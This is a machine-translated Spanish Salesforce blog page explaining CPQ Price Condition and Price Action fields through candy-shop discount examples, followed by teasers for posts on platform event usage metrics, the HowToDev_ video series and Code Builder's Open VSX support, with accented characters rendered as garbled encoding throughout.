驴Cu谩l es el uso del campo variable de filtro en la condici贸n de precio?

El campo Filtrar variable en la condici贸n de precio le permite hacer referencia a una variable personalizada espec铆fica de una l铆nea de cotizaci贸n o un grupo de l铆neas de cotizaci贸n y utilizarla en la evaluaci贸n de la condici贸n.

Consideremos un ejemplo de caramelo para comprender el uso del campo de variable de filtro en la condici贸n de precio.

Gui贸n

Supongamos que tiene una variable personalizada llamada "MinOrderQuantity". El objetivo es aplicar un descuento cuando la cantidad supera el valor de MinOrderQuantity de 10.

Soluci贸n:

1. Defina una variable personalizada:

鈥 Cree una variable personalizada llamada "MinOrderQuantity" para representar la cantidad m铆nima de dulces necesaria para calificar para un descuento.

鈥 Establezca el valor de 鈥淢inOrderQuantity鈥 en 10.

2. Crear una condici贸n de precio:

鈥 Tipo de filtro: Campo de l铆nea de cotizaci贸n

鈥 Campo: Cantidad

鈥 Operador: Mayor que o Igual a

鈥 Campo de variable de filtro: MinOrderQuantity

Esta condici贸n de precio verifica si la cantidad de art铆culos de dulces en la l铆nea de cotizaci贸n es mayor o igual que el valor almacenado en la variable "MinOrderQuantity".

3. Cree una acci贸n de precio:

鈥 Especificar la acci贸n a realizar cuando se cumpla la Condici贸n de Precio. Por ejemplo, puedes aplicar un descuento del 10% al Precio Unitario de los art铆culos de golosinas.

4. Aplicar la regla del precio:

鈥 Conecte la Condici贸n de precio y la Acci贸n de precio a la Regla de precio.

鈥 Aseg煤rese de que la regla de precios est茅 activa y configurada para activarse correctamente en su configuraci贸n de precios.

Ahora, veamos c贸mo funciona este ejemplo:

鈥 Escenario 1: la cantidad es inferior a 10

鈥 Si la cantidad de art铆culos de dulces en la l铆nea de cotizaci贸n es inferior a 10, la condici贸n de precio se eval煤a como falsa.

鈥 La regla de precio no se activa y no se aplica ning煤n descuento.

鈥 Escenario 2: la cantidad es 10 o m谩s

鈥 Si la Cantidad de art铆culos de dulces en la l铆nea de cotizaci贸n es igual o superior a 10, la Condici贸n de precio se eval煤a como verdadera.

鈥 Se activa la regla de precio y se ejecuta la acci贸n especificada, como aplicar un descuento del 10 % al precio unitario, en esos art铆culos de dulces.

驴Cu谩l es la diferencia entre el campo Variable de filtro y Variable probada en Condici贸n de precio?

La principal diferencia entre una variable de filtro y una variable probada en Salesforce CPQ es el contexto en el que se utilizan.

Variable de filtro:

鈥 Se utiliza una variable de filtro en la Condici贸n de precio para definir una condici贸n din谩mica basada en un valor espec铆fico almacenado en una variable personalizada.

鈥 Le permite hacer referencia a una variable personalizada definida dentro del contexto de la partida de cotizaci贸n o grupo de partidas de cotizaci贸n.

鈥 La variable de filtro se utiliza como parte de la evaluaci贸n de la condici贸n para compararla con otros campos o valores.

鈥 Ayuda a determinar si se cumplen o no las condiciones especificadas en la Condici贸n de Precio.

Variable probada:

鈥 Una variable probada se usa en la condici贸n avanzada de una regla de precio para evaluar una f贸rmula o l贸gica basada en valores espec铆ficos almacenados en variables personalizadas.

鈥 Te permite crear condiciones o c谩lculos complejos basados en los valores de las variables personalizadas.

鈥 La variable probada se usa en combinaci贸n con otras variables, campos o f贸rmulas para determinar el resultado de la condici贸n avanzada.

Diferenciemos entre el campo Variable de filtro y Variable probada en el contexto de un ejemplo de caramelo:

Ejemplo: descuento de temporada en la tienda de golosinas

Escenario: Filtrar uso de variables

Si el cliente pide 25 dulces, la Condici贸n de precio con la variable de filtro "MinOrderQuantity" evaluar谩 si la cantidad es mayor o igual a 20. Si se cumple la condici贸n, se activar谩 la acci贸n especificada, como aplicar un descuento. .

Soluci贸n

1. Cree una variable personalizada llamada "MinOrderQuantity"

2. Establezca el valor de "MinOrderQuantity" en 20, lo que indica que los clientes deben pedir al menos 20 dulces para ser elegibles para el descuento.

Precio Condici贸n:

3. Cree una condici贸n de precio en la regla de precio.

4. Seleccione el campo "Cantidad" como campo de filtro.

5. Elija el operador "Mayor o igual que".

6. Ingrese el valor del filtro como la variable "MinOrderQuantity".

7. Especifique la acci贸n que desea realizar, como aplicar un porcentaje de descuento, cuando se cumpla la condici贸n.

Escenario Probado Uso de variables

Ejemplo: Si el cliente tiene un nivel de lealtad de "Oro" y la variable probada "Porcentaje de descuento" se establece en 15%, la Condici贸n avanzada evaluar谩 si el nivel de lealtad del cliente es "Oro". Si la condici贸n es verdadera, el porcentaje de descuento ser谩 ser ejecutado.

Soluci贸n

1. Cree una variable personalizada denominada "Porcentaje de descuento" en Salesforce CPQ.

2. Establezca el valor de "Porcentaje de descuento" en 15, lo que indica un 15% de descuento para clientes leales.

Condici贸n avanzada:

3. Cree una Condici贸n Avanzada en la Regla de Precio.

4. Defina la l贸gica utilizando variables probadas, como "Porcentaje de descuento", nivel de lealtad del cliente y otros criterios.

5. Especifique la acci贸n que desea realizar, como aplicar el porcentaje de descuento, cuando la Condici贸n avanzada se eval煤e como verdadera.

En resumen, las variables de filtro se utilizan en Condiciones de precio para verificar si se cumplen ciertos criterios o umbrales, en funci贸n de variables, campos o valores personalizados. Las variables probadas, por otro lado, se utilizan en Condiciones Avanzadas para realizar c谩lculos o l贸gica basada en variables personalizadas , atributos del cliente u otros factores para determinar el resultado de la Regla de Precio.

驴C贸mo usamos el campo F贸rmula de filtro en la condici贸n de precio?

El campo de f贸rmula de filtro en Condici贸n de precio le permite definir una condici贸n basada en f贸rmula para determinar si se debe aplicar la regla. Consideremos un ejemplo en el contexto de una tienda de golosinas:

Escenario: Compre uno, ll茅vese otro gratis Promoci贸n

Si el cliente est谩 comprando al menos dos art铆culos de dulces, aplique un descuento para que uno de los art铆culos sea gratis como parte de la promoci贸n "Compre uno, ll茅vese otro gratis".

Soluci贸n

Este es un ejemplo paso a paso del uso del campo de f贸rmula de filtro en la Condici贸n de precio para implementar una promoci贸n de "Compre uno, ll茅vese otro gratis" en el escenario de una tienda de golosinas:

1. Configure la Condici贸n de Precio:

鈥 Establezca el tipo de filtro en "F贸rmula" en el registro de Condici贸n de precio.

鈥 Introduzca una f贸rmula en el campo de f贸rmula de filtro para comprobar si se cumple la condici贸n. Cantidad >= 1.

鈥 Esta f贸rmula verifica si la cantidad del art铆culo de dulces en la l铆nea de cotizaci贸n es mayor o igual a 1, lo que indica que el cliente est谩 comprando al menos dos art铆culos.

2. Especifique la acci贸n deseada:

鈥 Determine la acci贸n que desea realizar cuando la f贸rmula del filtro se eval煤e como verdadera. En este caso, se trata de una promoci贸n de 鈥淐ompre uno, ll茅vese otro gratis鈥.

驴Cu谩l es el uso del campo de 铆ndice en la condici贸n de precio?

El campo "脥ndice" en el objeto Condici贸n de precio se puede utilizar para definir el orden en el que se eval煤an las condiciones para aplicar las reglas de precios. Consideremos un ejemplo para entender su uso:

Escenario: Descuento para barras de chocolate

1. Cree una regla de precio para aplicar un descuento a las barras de chocolate.

2. Agregue m煤ltiples condiciones de precio dentro de la regla de precio para definir diferentes condiciones bajo las cuales se debe aplicar el descuento. Por ejemplo:

鈥 Condici贸n de Precio 1: Comprobar si el tipo de caramelo es 鈥淏arra de Chocolate鈥.

鈥 Condici贸n de Precio 2: Comprobar si la cantidad de barras de chocolate es mayor o igual a 10.

鈥 Condici贸n de precio 3: Comprobar si el cliente tiene un nivel de membres铆a espec铆fico.

3. Establezca los valores del 铆ndice para cada condici贸n de precio:

鈥 Condici贸n de precio 1: establezca el valor del 铆ndice en 1.

鈥 Condici贸n de precio 2: establezca el valor del 铆ndice en 2.

鈥 Condici贸n de precio 3: establezca el valor del 铆ndice en 3.

Al asignar valores de 铆ndice a las condiciones de precio, est谩 definiendo el orden en el que deben evaluarse. En este ejemplo, se evaluar谩 primero la condici贸n de precio 1 con un valor de 铆ndice de 1, seguida de la condici贸n de precio 2 con un valor de 铆ndice de 2 y finalmente la condici贸n de precio 3 con un valor de 铆ndice de 3.

鈥斺斺斺

Acci贸n del precio

Exploremos el uso del objeto Price Action con varios ejemplos.

1. Aplicar un descuento:

鈥 Acci贸n de precio: establezca un objeto de acci贸n de precio con el objeto de destino como "L铆nea de cotizaci贸n"

鈥 Acci贸n: especifique un porcentaje de descuento, como un 20 % de descuento, en la Acci贸n de precio.

鈥 Resultado: Cuando un cliente agrega un dulce espec铆fico a su cotizaci贸n, Price Action autom谩ticamente aplicar谩 el descuento al Precio Unitario de ese dulce, resultando en un precio reducido.

2. Precios por volumen:

鈥 Acci贸n de precio: Cree un objeto de Acci贸n de precio con el Objeto de destino establecido como 鈥淟铆nea de cotizaci贸n鈥.

鈥 Acci贸n: defina una estructura de nivel de precio en la Acci贸n de precio basada en rangos de cantidad. Por ejemplo:

鈥 1-10 dulces: $1 por dulce

鈥 11-20 dulces: $0.90 por dulce

鈥 21+ dulces: $0.80 por dulce

鈥 Resultado: cuando un cliente agrega dulces a su cotizaci贸n, Price Action ajustar谩 el precio unitario en funci贸n de la cantidad, proporcionando descuentos de precios basados en el volumen.

3. Regalo con Compra:

鈥 Acci贸n de precio: establezca el objeto de destino como "Cotizaci贸n" para aplicar la acci贸n en el nivel de cotizaci贸n.

鈥 Acci贸n: Especifique una condici贸n de que si el cliente compra una cierta cantidad de un dulce espec铆fico, recibir谩 un regalo.

鈥 Resultado: cuando se cumple la condici贸n especificada, Price Action agregar谩 autom谩ticamente el obsequio a la cotizaci贸n, mejorando la experiencia del cliente.

4. Precios especiales para clientes VIP:

鈥 Acci贸n de precio: cree un objeto de acci贸n de precio con el objeto de destino como "Cotizaci贸n" o "L铆nea de cotizaci贸n" seg煤n sus requisitos.

鈥 Acci贸n: defina un campo personalizado que identifique a los clientes VIP. Establezca la Acci贸n de precio para aplicar un descuento espec铆fico para esos clientes.

鈥 Resultado: Cuando un cliente VIP agregue dulces a su cotizaci贸n, Price Action reconocer谩 su estado y aplicar谩 el descuento exclusivo autom谩ticamente.

Estos ejemplos demuestran c贸mo el objeto Price Action le permite definir acciones espec铆ficas, como aplicar descuentos, ajustar precios en funci贸n de la cantidad, ofrecer obsequios o proporcionar precios especiales para segmentos de clientes espec铆ficos. El objeto Price Action le permite automatizar estas acciones.

La regla de precio y el objeto de acci贸n de precio tienen una relaci贸n maestro-detalle.

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

Comprensi贸n de los campos en el objeto de acci贸n del precio

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

驴Cu谩l es el uso del campo de regla de precio en el objeto de acci贸n de precio?

Conecta la acci贸n del precio con la regla de precio principal. Indica a qu茅 regla de precio est谩 asociada la acci贸n de precio y determina bajo qu茅 regla debe evaluarse la condici贸n.

驴Cu谩l es la importancia del objeto objetivo en la acci贸n del precio?

Una captura de pantalla de una computadora Descripci贸n generada autom谩ticamente

El objeto de destino en la acci贸n del precio determina d贸nde se aplicar谩n los cambios de precios especificados en la acci贸n del precio.

Suponga que tiene una acci贸n de precio que aplica un descuento del 10 % al precio unitario de los dulces de ositos de goma cuando la cantidad supera los 100. El campo Objeto de destino en la acci贸n de precio determina qu茅 registros recibir谩n este descuento.

En este caso, seleccionar铆a el objeto "L铆nea de cotizaci贸n" como el Objeto de destino en la Acci贸n del precio. Esto significa que el descuento se aplicar谩 a los registros de l铆nea de cotizaci贸n que representan los dulces de ositos de goma en la cotizaci贸n.

驴Importancia del campo Valor en Price Action?

El campo Valor en el objeto Acci贸n del precio se usa para especificar el valor espec铆fico o los datos que deben establecerse en el campo del objeto de destino. Define el resultado de la acci贸n del precio, indicando el resultado deseado o el cambio que debe ocurrir.

Escenario: cuando un cliente agrega un osito de gominola con sabor a fresa a su cotizaci贸n, Price Action actualizar谩 el campo Precio de ese dulce al valor especificado de $2.50.

Soluci贸n:

鈥 Acci贸n de precio: Cree un objeto de Acci贸n de precio con el Objeto de destino establecido como 鈥淟铆nea de cotizaci贸n鈥.

鈥 Campo: elija el campo 鈥淧recio鈥 en el objeto de destino que desea actualizar con un nuevo valor

鈥 Valor: Especifique el precio deseado para el sabor del caramelo en el campo Valor. Si el dulce es un osito de goma con sabor a fresa, establezca el campo Valor en $2,50.

驴Cu谩l es el uso del campo F贸rmula en el objeto Acci贸n de precio y el campo F贸rmula en el objeto Condici贸n de precio?

Comprendamos cu谩ndo usar el campo F贸rmula en cada objeto.

  • El campo F贸rmula en la Acci贸n del precio se usa para calcular y aplicar directamente el monto del descuento o el valor del campo seg煤n ciertos criterios.
  • El campo F贸rmula en la Condici贸n de precio establece condiciones o calcula valores que determinan cu谩ndo debe ejecutarse la Acci贸n de precio.

Suponga que desea ofrecer un 10 % de descuento en un dulce de sabor a 鈥渃hocolate鈥, pero el monto del descuento var铆a seg煤n la cantidad pedida del sabor de dulce de chocolate en la cotizaci贸n.

Uso de la f贸rmula en la acci贸n del precio:

En este escenario, puede agregar un campo F贸rmula directamente al objeto Acci贸n del precio. La f贸rmula calcular铆a el monto del descuento en funci贸n de la cantidad del sabor del caramelo "chocolate".

Uso de f贸rmula en condici贸n de precio:

En algunos casos, es posible que desee aplicar el descuento solo si la cantidad del sabor de caramelo espec铆fico supera cierto umbral.

鈥淪I (Cantidad > 10, 0,2, 0,1)鈥 que establece el porcentaje de descuento en un 20% si la cantidad es superior a 10 y en un 10% en caso contrario. La condici贸n de precio comprueba esta f贸rmula y eval煤a si se cumple la condici贸n. Si se cumple la condici贸n, activa la Price Action asociada con el porcentaje de descuento definido.

Razones para usar f贸rmulas en condiciones de precio:

1. L贸gica condicional: el campo F贸rmula en la Condici贸n de precio le permite definir la l贸gica condicional en funci贸n de criterios espec铆ficos. Puede configurar condiciones complejas que involucren m煤ltiples campos o c谩lculos para determinar si se debe activar la acci贸n del precio.

2. Filtrado avanzado: la condici贸n de precio puede evaluar varios factores, como cantidad, precio, rango de fechas o cualquier otro campo relevante antes de decidir aplicar la acci贸n de precio.

Razones para usar f贸rmulas en la acci贸n del precio:

1. Actualizaciones directas de campo: si el c谩lculo del descuento es sencillo y no requiere condiciones complejas o filtrado, puede calcular y actualizar directamente el valor del campo en la acci贸n del precio.

驴Cu谩l es la importancia del campo fuente en la acci贸n del precio?

El "Campo de origen" en Price Action especifica el campo desde el cual se obtendr谩 el valor y se utilizar谩 en Price Action.

Gui贸n:

Para un producto de golosina en particular, el campo "Precio original" en el objeto Producto es $10.

Cuando se activa la Acci贸n de precio, obtendr谩 el valor de $10 del campo "Precio original" en el objeto Producto.

La acci贸n del precio luego actualizar谩 el campo "Precio con descuento" en la l铆nea de cotizaci贸n con el valor obtenido. Digamos que tienes un porcentaje de descuento del 20%. En este caso, el c谩lculo ser铆a:

Precio con descuento = Precio original 鈥 (Precio original * Porcentaje de descuento)

= $10 鈥 ($10 * 0.20)

= $10 鈥 $2

= $8

Despu茅s de ejecutar la acci贸n de precio, el campo "Precio con descuento" en la l铆nea de cotizaci贸n se actualizar谩 con el valor calculado de $8.

Soluci贸n:

Los siguientes detalles se completar谩n en el objeto de acci贸n del precio:

鈥 Objeto de origen: Producto

鈥 Campo de origen: precio original

鈥 Objeto de destino: l铆nea de cotizaci贸n

鈥 Campo objetivo: Precio con descuento

驴Diferencia entre el campo de origen y el campo de b煤squeda de origen en la acci贸n del precio?

Objeto rectangular blanco con fondo blanco Descripci贸n generada autom谩ticamente

Campo de origen:

鈥 El campo de origen hace referencia a un campo espec铆fico en el objeto de origen del que se obtienen los datos y se utilizan en la acci贸n del precio.

Campo de b煤squeda de fuente:

鈥 El campo de b煤squeda de origen, por otro lado, se usa cuando desea obtener el valor de campo de un registro relacionado a trav茅s de una relaci贸n de b煤squeda. Le permite atravesar un campo de b煤squeda para acceder a campos en el objeto relacionado y usarlos en la acci贸n del precio.

Para entender la diferencia, consideremos un ejemplo con una tienda de golosinas:

Suponga que tiene un campo personalizado denominado "Precio original" en el objeto Producto y una relaci贸n de b煤squeda entre los objetos Producto y Fabricante. El objeto Fabricante tiene un campo llamado "Nombre del fabricante".

Si desea buscar y usar el valor del campo "Precio original" directamente, usar铆a el Campo de origen. Sin embargo, si desea acceder al valor del campo "Nombre del fabricante" a trav茅s de la relaci贸n de b煤squeda, debe utilizar el Campo de b煤squeda de origen.

Aqu铆 hay una comparaci贸n entre los dos:

Campo de origen:

鈥 Ejemplo: Producto.Precio_Original__c

鈥 Hace referencia directa al campo en el objeto de origen.

鈥 Obtiene y utiliza el valor del campo especificado tal cual.

Campo de b煤squeda de fuente:

鈥 Ejemplo: Producto.Fabricante__r.Nombre_Fabricante__c

鈥 Recorre una relaci贸n de b煤squeda para acceder al valor de campo del objeto relacionado.

鈥 Obtiene y usa el valor del campo especificado en el objeto relacionado.

En resumen, el campo de origen se usa para hacer referencia directamente a un campo en el objeto de origen, mientras que el campo de b煤squeda de origen se usa para obtener el valor de campo de un registro relacionado a trav茅s de una relaci贸n de b煤squeda. La elecci贸n depende de los datos espec铆ficos que desea recuperar y utilizar en la acci贸n del precio.

驴Cu谩l es el uso del campo Variable de origen en la regla de precio?

Continuemos con nuestro ejemplo de la tienda de golosinas para ilustrar el uso del campo variable de origen en una acci贸n de precio.

El campo Variable de origen en la Acci贸n de precio le permite obtener el valor de la variable personalizada, digamos "Porcentaje de descuento" de la Regla de precio asociada. Esto permite que Price Action aplique din谩micamente el porcentaje de descuento correcto al campo "Precio con descuento".

1. Configure los siguientes detalles para la acci贸n del precio:

鈥 Objeto de origen: l铆nea de cotizaci贸n

鈥 Objeto de destino: l铆nea de cotizaci贸n

鈥 Campo objetivo: Precio con descuento

鈥 Campo de variable de origen: Porcentaje de descuento

3. Digamos que la regla de precio determin贸 que el porcentaje de descuento aplicable es del 15 % en funci贸n de la cantidad de dulces en la cotizaci贸n.

4. La acci贸n del precio usar谩 el valor obtenido del 15 % y lo aplicar谩 al campo "Precio con descuento" en la l铆nea de cotizaci贸n. Supongamos que el precio original de los dulces es de $10.

Precio con descuento = Precio original 鈥 (Precio original * Porcentaje de descuento)

= $10 鈥 ($10 * 0,15)

= $10 鈥 $1.50

= $8.50

5. Despu茅s de ejecutar la acci贸n de precio, el campo "Precio con descuento" en la l铆nea de cotizaci贸n se actualizar谩 con el valor calculado de $8,50.

50% Me gusta VS
50% No me gusta

Seguir leyendo

El poder de las m茅tricas de uso mejoradas para optimizar la asignaci贸n de eventos de la plataforma

El poder de las m茅tricas de uso mejoradas para optimizar la asignaci贸n de eventos de la plataforma

脷ltima actualizaci贸n el 6 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • C贸mo monitorear el consumo de eventos de la plataforma seg煤n el nombre del evento, el ID del cliente, el tipo de evento y el tipo de uso

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Obtenga una comprensi贸n integral de los eventos de la plataforma
  • Descubra las ventajas de monitorear los patrones de consumo para la optimizaci贸n del rendimiento del sistema y la identificaci贸n de tendencias de uso
  • Implemente m茅tricas de uso mejoradas para eventos de plataforma a trav茅s de una gu铆a paso a paso
  • Explore los beneficios de monitorear patrones de consumo para optimizar el rendimiento del sistema e identificar tendencias de uso
  • y mucho m谩s

Jestilla Zetkin trabaja como arquitecta de Salesforce en Gurukul On Cloud (GoC), recientemente se encontr贸 con una publicaci贸n de blog titulada Monitoreo de publicaci贸n de eventos y uso de entrega de la plataforma . Esta publicaci贸n proporcion贸 informaci贸n sobre c贸mo varias formas de monitorear el uso de la publicaci贸n y entrega de eventos de la plataforma.

A medida que se expande el negocio de GoC, la afluencia de datos ha llevado a casos frecuentes de alcanzar los l铆mites diarios para los eventos de la plataforma. En consecuencia, Jestilla est谩 buscando una soluci贸n para monitorear el consumo de eventos de la plataforma seg煤n el nombre del evento, la identificaci贸n del cliente o el tipo. Esta capacidad de monitoreo le permitir谩 analizar qu茅 evento est谩 consumiendo una parte significativa de la asignaci贸n, lo que le permitir谩 tomar las medidas adecuadas en consecuencia.

驴Qu茅 es Plataforma de Eventos?

Las arquitecturas basadas en eventos se han vuelto muy populares en los 煤ltimos a帽os y por una buena raz贸n. Se basa en el patr贸n de fuego y olvido . Activar un evento y dejar que cada sistema maneje la l贸gica empresarial le permite mantener los sistemas no relacionados desacoplados y puede ayudar a simplificar la arquitectura.

Los eventos de la plataforma le permiten entregar notificaciones de eventos seguras, escalables y personalizables dentro de Salesforce o desde fuentes externas. Las aplicaciones pueden publicar y suscribirse a eventos de plataforma en la plataforma de Salesforce mediante Apex, Flow o en un sistema externo mediante CometD. Si desea obtener m谩s informaci贸n sobre el evento de plataforma, consulte el m贸dulo de Trailhead .

Comprender el objeto PlatformEventUsageMetric

Hagamos una pausa aqu铆 y familiar铆cese con el objeto PlatformEventUsageMetric en Salesforce.

Contiene datos de uso para la publicaci贸n y entrega de eventos a clientes CometD y Pub/Sub API, componentes empApi Lightning y retransmisiones de eventos. Si las m茅tricas de uso mejoradas est谩n habilitadas, los datos de uso est谩n disponibles para las 煤ltimas 24 horas, hasta la 煤ltima hora y para el uso diario hist贸rico.

En API 58.0 y versiones posteriores, puede habilitar M茅tricas de uso mejoradas para obtener datos de uso por nombre de evento y cliente para intervalos de tiempo granulares. PlatformEventUsageMetric contiene m茅tricas de uso separadas para eventos de plataforma y eventos de captura de datos modificados.

Nombre del campo
Detalles
Tipo de evento El tipo de evento para el que le gustar铆a consultar las m茅tricas de uso, como un evento de cambio o un evento de plataforma personalizado. Este campo est谩 disponible cuando las m茅tricas de uso mejoradas est谩n habilitadas.
Segmento de tiempo El intervalo de tiempo utilizado para agregar los datos de uso devueltos en los resultados de la consulta. Este campo est谩 disponible cuando las m茅tricas de uso mejoradas est谩n habilitadas.
Tipo de uso Este campo est谩 disponible cuando las m茅tricas de uso mejoradas est谩n habilitadas. El tipo de m茅tricas de uso de eventos para consultar, como publicaci贸n de eventos o entrega de eventos. Utilice este campo con los campos EventName o EventType. Los valores posibles son:

  • PUBLISH 鈥擬茅tricas de uso para eventos publicados.
  • ENTREGA 鈥擬茅tricas de uso para eventos que se entregaron a los suscriptores.
Valor El valor de uso para la m茅trica y el intervalo de fechas especificados.

Para obtener datos de uso completos para cada evento, aprovecharemos las m茅tricas de uso de eventos mejoradas. Esta funci贸n nos permitir谩 recopilar informaci贸n agregada e identificar los eventos espec铆ficos que consumen una parte importante de la asignaci贸n.

Mientras que PlatformEventSettings representa configuraciones para eventos de plataforma y eventos de captura de datos modificados.

Nombre del campo
Detalles
enableEnhancedUsageMetrics Habilita m茅tricas de uso mejoradas para consultas ejecutadas en PlatformEventUsageMetric. Las m茅tricas de uso mejoradas proporcionan campos adicionales para las consultas y segmentos de tiempo granulares. Para obtener m谩s informaci贸n, consulte M茅tricas de uso mejoradas en la Gu铆a para desarrolladores de eventos de plataforma. El valor predeterminado es falso.

Pr谩ctica guiada (nosotros hacemos):

Antes de que pueda obtener m谩s m茅tricas de uso, debe habilitar las M茅tricas de uso mejoradas en la API de metadatos . Para hacer esto, establezca el valor del campo enableEnhancedUsageMetrics en verdadero en PlatformEventSettings . Una vez hecho esto, podr谩 obtener m茅tricas de uso detalladas para el consumo de eventos de la plataforma.

Paso 1: habilite las m茅tricas de uso mejoradas

  1. Aseg煤rese de que Visual Studio Code est茅 correctamente configurado y que su organizaci贸n de Salesforce est茅 conectada a 茅l.
  2. Modifique el paquete.xml para recuperar los metadatos relacionados con los eventos de la plataforma.
    1. Ejemplo de paquete.xml para recuperar la configuraci贸n de PlatformEvent.
      
      
      <tipos> <miembros>PlataformaEvento</miembros> <nombre>Configuraci贸n</nombre>
      </tipos>

  3. El siguiente paso es modificar PlatformEventSettings .
    1. Proceda a modificar PlatformEventSettings, cuyos valores se almacenan en el archivo PlatformEvent.settings en la carpeta de configuraci贸n .
    2. En PlatformEventSettings, establezca el campo enableEnhancedUsageMetrics en true .
    3. Guarde los cambios en el archivo PlatformEvent.settings-meta.xml .
  4. Finalmente, haga clic con el bot贸n derecho en el archivo de su paquete en el Explorador y seleccione SFDX: Implementar origen en el manifiesto en la organizaci贸n .

Paso 2.1: obtenga m茅tricas de uso diario agregadas por nombre de evento

  1. Haga clic en Configuraci贸n | Consola de desarrollador .
  2. En el Editor de consultas, ejecute la siguiente consulta SOQL
     SELECCIONE EventName, EventType, UsageType, Value, StartDate, EndDate FROM PlatformEventUsageMetric WHERE TimeSegment='Diario'
Seguir leyendo

Presentamos HowToDev_ 鈽侊笍

Presentamos HowToDev_ 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Presentamos HowToDev_ | Blog de desarrolladores de Salesforce

HowToDev_ es una nueva serie sobre Salesforce+ que creamos para ayudar a los desarrolladores a familiarizarse con Salesforce Platform. Si ya tiene habilidades tecnol贸gicas pero es nuevo en el ecosistema de Salesforce, o si desea aprender un poco sobre el desarrollo, 隆HowToDev_ es la serie para usted!

En esta nueva serie, aprender谩 a ampliar la Plataforma de Salesforce y crear aplicaciones personalizadas utilizando potentes funciones de desarrollo de Salesforce l铆deres en la industria. Ser茅 su anfitri贸n y, en cada episodio, lo explicar茅 c贸mo tomar una interfaz de usuario basada en datos que viene lista para usar con Salesforce y crear una experiencia intuitiva e interactiva que facilite la vida de los usuarios.

Descripci贸n general de la plataforma de Salesforce

La plataforma de Salesforce re煤ne una serie de servicios de infraestructura, red, aplicaciones y datos para crear una poderosa herramienta que puede ampliar en un abrir y cerrar de ojos. Esto se debe a muchas de las complejidades que puede haber utilizado en otras plataformas de usuarios y desarrolladores. En el primer episodio de HowToDev_, repasamos una descripci贸n general de Salesforce Platform y c贸mo puede crear objetos personalizados para ampliar el modelo de datos.

Realmente solo necesita preocuparse por la aplicaci贸n y los servicios de datos que se le proporcionan para construir. Desde su front-end hasta sus API, todo sale de la caja listo para que comience a construir.

隆Vamos a codificar!

隆Espera un segundo! Hay algunas cosas que necesita saber aqu铆 antes de abrir ese entorno de desarrollo. Aqu铆 hay un vistazo de lo que cubrimos en el Episodio 1 .

Comprender la importancia de los metadatos en Salesforce: Nosotros explicar la funci贸n de los metadatos, que representan toda la configuraci贸n, la automatizaci贸n y la interfaz de usuario en el entorno de Salesforce.

Definici贸n de qu茅 son una aplicaci贸n y una organizaci贸n en Salesforce: aclaramos los conceptos de una aplicaci贸n y una organizaci贸n en Salesforce, subrayando su distinci贸n con respecto a las aplicaciones y organizaciones tradicionales.

Creaci贸n del objeto de propiedad : demostramos el proceso de creaci贸n de un objeto personalizado (el objeto de propiedad) en Configuraci贸n de Salesforce, que funciona como una tabla de base de datos para administrar y rastrear propiedades.

Agregar nuevos campos al objeto: agregamos dos nuevos campos personalizados al objeto Propiedad (es decir, Fecha de cotizaci贸n y D铆as en el mercado), que resaltan la naturaleza din谩mica de los campos de Salesforce.

Mirando hacia el futuro: Concluimos el episodio con una mirada al futuro de lo que cubrir谩 la serie, prometiendo una futura exploraci贸n de la codificaci贸n y la resoluci贸n de problemas complejos dentro de Salesforce.

Una vez que tenga una mayor comprensi贸n de estos conceptos, 隆podemos abrir la CLI en el Episodio 2 !

D贸nde ver HowToDev_

Todos los episodios se lanzaron a la vez en Salesforce+, 隆as铆 que puede disfrutarlos todos ahora! Esto es lo que se trata en cada episodio:

Episodio 1: Descripci贸n general de la plataforma Salesforce
Episodio 2: Herramientas para desarrolladores de Salesforce
Episodio 3: C贸digo en Salesforce con Apex, SOQL y DML
Episodio 4: compilar componentes web Lightning
Episodio 5: Automatizaci贸n con flujo y disparadores
Episodio 6: Completar y lanzar su aplicaci贸n Salesforce

M谩s recursos

  • HowToDev_ Repositorio de GitHub : este es el lugar donde encontrar谩 todo el c贸digo, las definiciones, los enlaces y los documentos a los que se hace referencia en la serie.
  • Creamos una divertida Trailhead Quest para completar mientras ves HowToDev_. 脷nase a la b煤squeda ahora para poner a prueba sus conocimientos y tener la oportunidad de ganar* uno de los 10 paquetes de premios HowToDev_, que incluyen un par de Apple AirPods y un estuche personalizado de Salesforce Developers. Tambi茅n recibir谩 una insignia exclusiva de la comunidad HowToDev_ en Trailhead. Complete la misi贸n en cualquier momento antes del 31 de julio a las 11:59 p. m. (hora del Pac铆fico) para participar y ganar.

Sobre el Autor

Stephan Chandler-Garcia es promotor de desarrolladores en Salesforce. Ha estado en el ecosistema de Salesforce durante m谩s de 10 a帽os como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario de Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, s铆galo en Twitter @stephanwcg o @schandlergarcia en GitHub, y consulte su repositorio de GitHub para ver c贸digo de muestra y proyectos.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Las extensiones Open VSX ahora son compatibles con Code Builder 鈽侊笍

Las extensiones Open VSX ahora son compatibles con Code Builder 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las extensiones Open VSX ahora son compatibles con Code Builder | Blog de desarrolladores de Salesforce

Nos complace anunciar que Code Builder ahora le permite agregar extensiones desde Open VSX Registry , que brinda acceso de c贸digo abierto a las extensiones de VS Code. Con esta nueva funcionalidad, puede personalizar Code Builder con extensiones de la comunidad y de terceros para satisfacer sus necesidades m谩s r谩pido y ser m谩s productivo. En esta publicaci贸n de blog, aprender谩 sobre los beneficios que Open VSX aporta a Code Builder, c贸mo usarlo y c贸mo compartir sus comentarios con nosotros.

驴Qu茅 es el generador de c贸digo?

Code Builder es un entorno de desarrollo moderno basado en la web que est谩 optimizado para Salesforce. Actualmente en Beta, Code Builder le permite implementar un entorno de desarrollo integrado (IDE) con todas las funciones en su navegador desde su organizaci贸n de Salesforce, con solo presionar un bot贸n.

